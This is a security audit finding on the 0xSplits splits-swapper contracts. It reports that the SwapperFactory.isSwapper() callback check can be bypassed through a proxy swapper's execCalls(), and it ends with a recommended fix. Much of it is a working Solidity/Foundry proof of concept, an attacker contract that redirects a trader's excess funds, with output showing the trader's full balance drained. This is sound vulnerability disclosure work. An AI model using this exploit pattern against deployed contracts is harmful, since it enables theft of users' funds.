alexzoid

medium

# The potential to bypass the SwapperFactory.isSwapper() check may lead to a loss of funds

## Summary
In the `SwapperFactory`, anyone can create their own swapper with the capability to execute arbitrary calls to other contracts. The problem lies in the `SwapperFactory.isSwapper()` function, which checks if the calling contract belongs to a specific `SwapperFactory`. By using a malicious swapper, an attacker could execute the `flash()` callback, bypassing the `isSwapper()` check and impersonating a legitimate swapper. Consequently, a contract containing any code could potentially interact with the `flash()` callback, posing a security risk.

## Vulnerability Detail
The `SwapperFactory.createSwapper()` function at https://github.com/0xSplits/splits-swapper/blob/83ce1124767a097aac37d1cd162a9b27bbc48701/src/SwapperFactory.sol#L40 is permissionless, allowing anyone to create an implementation of `SwapperImpl`
```solidity
function createSwapper(CreateSwapperParams calldata params_) external returns (SwapperImpl swapper) {
```

Newly created swappers are added to the mapping of canonical swappers for flash callback validation at https://github.com/0xSplits/splits-swapper/blob/83ce1124767a097aac37d1cd162a9b27bbc48701/src/SwapperFactory.sol#L30 
```solidity
mapping(SwapperImpl => bool) internal $isSwapper;
```

This mapping is intended to ensure that traders are interacting with a legitimate `SwapperImpl` implementation. However, attackers could create their own `SwapperImpl` and use it as a proxy for interacting with a trader's callback due to the `execCalls()` function at https://github.com/0xSplits/splits-utils/blob/0dd263bf6feb0bd26b054da3cf1bb742d0bfb13e/src/WalletImpl.sol#L43 
```solidity
/// allow owner to execute arbitrary calls
function execCalls(Call[] calldata calls_)
    external
    payable
    onlyOwner
    returns (uint256 blockNumber, bytes[] memory returnData)
{
    blockNumber = block.number;
    uint256 length = calls_.length;
    returnData = new bytes[](length);

    bool success;
    for (uint256 i; i < length;) {
        Call calldata calli = calls_[i];
        (success, returnData[i]) = calli.to.call{value: calli.value}(calli.data);
        require(success, string(returnData[i]));

        unchecked {
            ++i;
        }
    }

    emit ExecCalls(calls_);
}
```

The `SwapperFactory.verifyCallback(swapper)` check at https://github.com/0xSplits/splits-swapper/blob/83ce1124767a097aac37d1cd162a9b27bbc48701/src/integrations/UniV3Swap.sol#L67 can be bypassed, allowing attackers to exploit the system:
```solidity
SwapperImpl swapper = SwapperImpl(msg.sender);
if (!swapperFactory.verifyCallback(swapper)) {
    revert Unauthorized();
}
```

This loophole in the system could potentially be exploited by malicious actors, posing a security risk to traders.

## Impact
The existence of the `SwapperFactory.isSwapper()` check creates a false sense of security for traders. Furthermore, it provides no protection against malicious swappers in this `SwapperFactory` and could result in a total loss of a funds.

## Code Snippet
In my Proof of Concept, I use the included `UniV3Swap` as an example of a trader's contract. If a trader mistakenly uses a malicious contract, such as `attackerFakeSwapper`, instead of a legitimate `SwapperImpl`, the security check in `SwapperFactory.isSwapper()` can be bypassed using the `proxySwapper` contract. Believing they are interacting with the real `SwapperImpl`, traders send funds to the contract but do not receive anything in return or have their transaction reverted, resulting in a loss of funds.
 
First, navigate to the `SwapperImpl.t.sol` file in the `splits-swapper` repository: 
https://github.com/0xSplits/splits-swapper/blob/83ce1124767a097aac37d1cd162a9b27bbc48701/test/SwapperImpl.t.sol
Then, copy the following code snippet and paste it at the end of the file:
```solidity
import {UniV3Swap} from "../src/integrations/UniV3Swap.sol";
import {WalletImpl} from "splits-utils/WalletImpl.sol";
import {ISwapRouter} from "v3-periphery/interfaces/ISwapRouter.sol";
import {WETH} from "solmate/tokens/WETH.sol";

contract AttackerFakeSwapper is SwapperImplTest {
    using TokenUtils for address;

    address immutable attacker;
    SwapperImpl immutable proxySwapper;

    constructor(SwapperImpl _proxySwapper) {
        attacker = msg.sender;
        proxySwapper = _proxySwapper;
    }

    function flash(OracleImpl.QuoteParams[] calldata quoteParams_, bytes calldata callbackData_)
        external
        payable
    {
        // Attacker will receive all the excess value
        UniV3Swap.FlashCallbackData memory flashCallbackData = abi.decode(
            callbackData_, 
            (UniV3Swap.FlashCallbackData)
            );
        flashCallbackData.excessRecipient = attacker;
        bytes memory changedCallbackData = abi.encode(flashCallbackData);
        
        // Bypass a SwapperFactory.isSwapper() security check executing callback via a proxy-swapper
        bytes memory data = abi.encodeWithSignature(
            "swapperFlashCallback(address,uint256,bytes)", 
            ETH_ADDRESS, 
            0, // anyway attacker will receive all the excess value
            changedCallbackData
            );
        WalletImpl.Call[] memory calls = new WalletImpl.Call[](1);
        calls[0] = WalletImpl.Call({to: msg.sender, value: 0, data: data});
        proxySwapper.execCalls(calls);

        /*
        // Direct call will fail with "Unauthorized()" reason
        ISwapperFlashCallback(msg.sender).swapperFlashCallback({
            tokenToBeneficiary: ETH_ADDRESS,
            amountToBeneficiary: 0,
            data: callbackData_
        });
        */ 
    }
}

contract AttackerTest is SwapperImplTest {
    UniV3Swap uniV3Swap;
    address attacker;
    AttackerFakeSwapper attackerFakeSwapper;
    
    function setUp() public virtual override {
        super.setUp();

        // Trader's contract. Used by EOAs & simple bots to execute swapper#flash with uniswap v3
        vm.prank(trader);
        uniV3Swap = new UniV3Swap(
            swapperFactory, 
            ISwapRouter(UNISWAP_V3_FACTORY), 
            IWETH9(address(new WETH()))
            );

        // Trustless creation of proxy-swapper within a `swapperFactory`
        createSwapperParams.owner = address(this);
        SwapperImpl proxySwapper = swapperFactory.createSwapper(createSwapperParams);

        // Attacker's contract. Could be passed as a swapper to trader's contract
        attacker = vm.addr(1337);
        vm.prank(attacker);
        attackerFakeSwapper = new AttackerFakeSwapper(proxySwapper);
        proxySwapper.transferOwnership(address(attackerFakeSwapper));
    }

    function test_isSwapperCheckBypass() public unpaused {

        console.log("attacker balance", attacker.balance);
        console.log("trader balance", trader.balance);

        // Execute flash() with all the trader's balance, passing a fraud address as a swapper
        UniV3Swap.InitFlashParams memory params;
        params.quoteParams = quoteParams;
        params.flashCallbackData.excessRecipient = trader;
        vm.prank(trader);
        uniV3Swap.initFlash{value: trader.balance}(SwapperImpl(address(attackerFakeSwapper)), params);

        console.log("====================================");
        console.log("attacker balance", attacker.balance);
        console.log("trader balance", trader.balance);
        assert(attacker.balance != 0);
        assert(trader.balance == 0);
    }
}
```

To initiate a Foundry test within the `splits-swapper` project, use the following command: `forge test -vv --match-test test_isSwapperCheckBypass`. An example of the test output:
```bash
Running 1 test for test/SwapperImpl.t.sol:AttackerTest
[PASS] test_isSwapperCheckBypass() (gas: 103896)
Logs:
  attacker balance 0
  trader balance 1000000000000000000000
  ====================================
  attacker balance 1000000000000000000000
  trader balance 0

Test result: ok. 1 passed; 0 failed; finished in 8.05ms
```

## Tool used
VSCodium, Foundry

## Recommendation
Considering that anyone has the opportunity to create their own swapper within the `SwapperFactory` and use it as a proxy due to the availability of the `WalletImpl.execCalls()` functionality, the presence of the `isSwapper()` function could potentially cause confusion among traders. It is recommended to either remove the `isSwapper()` function or make the `createSwapper()` function permission-based to address this issue.